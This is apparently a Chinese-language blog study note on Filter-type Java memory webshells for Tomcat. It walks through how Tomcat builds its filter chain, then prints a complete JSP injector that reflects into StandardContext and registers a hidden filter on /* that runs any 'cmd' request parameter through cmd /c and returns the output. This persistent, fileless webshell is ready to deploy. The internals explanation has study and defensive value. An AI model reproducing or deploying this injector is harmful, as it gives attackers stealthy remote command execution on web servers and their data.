前言

最近想研究一下Java内存马,由于现在各种防护措施越来越多,内存马因其隐蔽性等优点从而越来越盛行。

内存马的分类

  • servlet-api类 分为filter型和servlet型
  • spring类 分为拦截器和controller型
  • 使用 java agent 技术写入字节码

Filter型内存马

Java内存马学习笔记-Filter - 图1

从这张图中可以看出,在servlet处理消息的时候,我们可以通过设置一些filter来对用户请求做一些过滤。

所以我们可以通过对filter中添加恶意代码,导致命令执行。

Tomcat Filter 流程分析

首先在IDEA中创建Servlet,通过这篇文章http://wjlshare.com/archives/1529

首先创建普通servlet

  1. import javax.servlet.ServletException;
  2. import javax.servlet.annotation.WebServlet;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;
  7. @WebServlet("/TestServlet")
  8. public class TestServlet extends HttpServlet {
  9. @Override
  10. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  11. resp.getWriter().write("my first servlet");
  12. }
  13. @Override
  14. protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  15. }
  16. }

然后我们创建filter

  1. import javax.servlet.*;
  2. import java.io.IOException;
  3. public class filterDemo implements Filter {
  4. public void init(FilterConfig filterConfig) throws ServletException {
  5. System.out.println("Filter 初始化创建");
  6. }
  7. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  8. System.out.println("执行过滤操作");
  9. filterChain.doFilter(servletRequest,servletResponse);
  10. }
  11. public void destroy() {}
  12. }

然后再web.xml中注册我们的filter。

Java内存马学习笔记-Filter - 图2

然后这样就可以触发我们的filter

Java内存马学习笔记-Filter - 图3

几个会遇到的类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

filter调用过程分析

首先在StandardWrapperValve#invoke

Java内存马学习笔记-Filter - 图4

会利用ApplicationFilterFactory来创建filterChain,我们跟进一下。

Java内存马学习笔记-Filter - 图5

然后会从context中获得filterMaps

Java内存马学习笔记-Filter - 图6

这里返回了过滤器的名字以及作用的url。

Java内存马学习笔记-Filter - 图7

继续往下跟,发现会遍历FilterMaps中的FilterMap方法。

如果发现当前的url请求和FilterMap相配,那么就会调用findFilterConfigfilterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,跟进addFilter函数

Java内存马学习笔记-Filter - 图8

addFilter函数中首先会遍历filters,判断我们的filter是否已经存在(其实就是去重)

然后下面这个if就是扩容,如果n等于当前filters长度就添加10个容量。最后将filterConfig添加到filters中。

Java内存马学习笔记-Filter - 图9

至此filterChain赋值完毕。

然后继续往下跟,到doFilter方法这里

Java内存马学习笔记-Filter - 图10

这里就会调用Filter链上的doFilter方法。

在 doFilter 方法中会调用 internalDoFilter方法

Java内存马学习笔记-Filter - 图11

在这个方法中首先会循环取出filterConfig,然后会调用getFilter()将filter从filterConfig中取出,调用filter的doFilter方法。

Java内存马学习笔记-Filter - 图12

然后就调用了

Java内存马学习笔记-Filter - 图13

放一张宽字节安全的图片

Java内存马学习笔记-Filter - 图14

总结一下就是:

1.先从Context中(也就是web.xml)中获取filterMaps。filterMaps里面存放了过滤器的名字以及url。

2.判断当前访问url是否与filterMap中的url相匹配。给 filterConfig赋值。顺便添加到filterChain中

3.然后调用filterChain的doFilter方法。最终调用到我们设置的doFilter方法

所以,内存马其实就是自己创建一个FilterMap放在最前面,这样当匹配的时候就会去找到对应的FilterName和FilterConfig。添加到FilterChain中,触发内存shell。

内存马注入

参考https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。 只要我们把上述的操作用代码复现出来,那么就能达到注入内存马的效果。

实现步骤

综上所述,如果要实现filter型内存马要经过如下步骤:

  • 创建恶意filter
  • 用filterDef对filter进行封装
  • 将filterDef添加到filterDefs跟filterConfigs中
  • 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

Java内存马学习笔记-Filter - 图15

这里我们使用requset内置对象

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

内存马

  1. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.StandardContext" %>
  4. <%@ page import="java.util.Map" %>
  5. <%@ page import="java.io.IOException" %>
  6. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  7. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  8. <%@ page import="java.lang.reflect.Constructor" %>
  9. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  10. <%@ page import="org.apache.catalina.Context" %>
  11. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
  12. <%
  13. final String name = "yang_99";
  14. ServletContext servletContext = request.getSession().getServletContext();
  15. Field appctx = servletContext.getClass().getDeclaredField("context");
  16. appctx.setAccessible(true);
  17. ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
  18. Field stdctx = applicationContext.getClass().getDeclaredField("context");
  19. stdctx.setAccessible(true);
  20. StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  21. Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  22. Configs.setAccessible(true);
  23. Map filterConfigs = (Map) Configs.get(standardContext);
  24. if (filterConfigs.get(name) == null){
  25. Filter filter = new Filter() {
  26. @Override
  27. public void init(FilterConfig filterConfig) throws ServletException {
  28. }
  29. @Override
  30. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  31. HttpServletRequest req = (HttpServletRequest) servletRequest;
  32. if (req.getParameter("cmd") != null){
  33. byte[] bytes = new byte[1024];
  34. Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
  35. int len = process.getInputStream().read(bytes);
  36. servletResponse.getWriter().write(new String(bytes,0,len));
  37. process.destroy();
  38. return;
  39. }
  40. filterChain.doFilter(servletRequest,servletResponse);
  41. }
  42. @Override
  43. public void destroy() {
  44. }
  45. };
  46. FilterDef filterDef = new FilterDef();
  47. filterDef.setFilter(filter);
  48. filterDef.setFilterName(name);
  49. filterDef.setFilterClass(filter.getClass().getName());
  50. /**
  51. * 将filterDef添加到filterDefs中
  52. */
  53. standardContext.addFilterDef(filterDef);
  54. FilterMap filterMap = new FilterMap();
  55. filterMap.addURLPattern("/*");
  56. filterMap.setFilterName(name);
  57. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  58. standardContext.addFilterMapBefore(filterMap);
  59. Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
  60. constructor.setAccessible(true);
  61. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
  62. filterConfigs.put(name,filterConfig);
  63. out.print("Inject Success !");
  64. }
  65. %>

Java内存马学习笔记-Filter - 图16